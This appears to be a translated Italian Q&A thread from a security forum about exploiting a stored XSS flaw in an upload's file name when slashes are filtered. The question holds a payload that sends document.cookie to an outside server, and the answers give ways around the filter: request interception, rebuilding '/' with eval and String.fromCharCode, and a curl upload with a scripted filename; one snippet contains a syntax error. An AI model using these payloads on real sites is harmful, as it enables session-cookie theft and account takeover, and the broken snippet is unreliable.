Sfruttare XSS nel nome del file senza usare /

2

Sto cercando di sfruttare una vulnerabilità nel campo del nome file di un caricamento di file. L'applicazione Web non convalida correttamente il nome file del file caricato e, di conseguenza, esiste una vulnerabilità di scripting tra siti memorizzata.

Il mio problema è che ogni volta che provo a rinominare il file per includere qualcosa come il payload sottostante, non posso includere / nel nome del file.

document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;

Qualche idea / carico utile? È persino possibile sfruttare questa vulnerabilità?

    
posta User1911 19.04.2018 - 20:40
fonte

3 risposte

0

Dovresti usare un'applicazione di intercettazione di pacchetti e modificare il pacchetto inviato. Quindi sostituisci il / con diciamo _ nel nome del file, quindi intercettiamo il pacchetto e lo cambiamo nell'intestazione.

    
risposta data 19.04.2018 - 20:46
fonte
1

Puoi eseguire qualsiasi JavaScript senza utilizzare / utilizzando una combinazione di eval e fromCharCode :

let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;"); 
    
risposta data 19.04.2018 - 21:26
fonte
0

Puoi cambiare il nome del file quando carichi con curl :

curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"

Tuttavia, quando ho provato questo con PHP, ha spogliato automaticamente tutto prima dell'ultimo / , presumibilmente supponendo che il percorso completo fosse stato inviato e convertendolo nel basename.

    
risposta data 19.04.2018 - 22:03
fonte

Leggi altre domande sui tag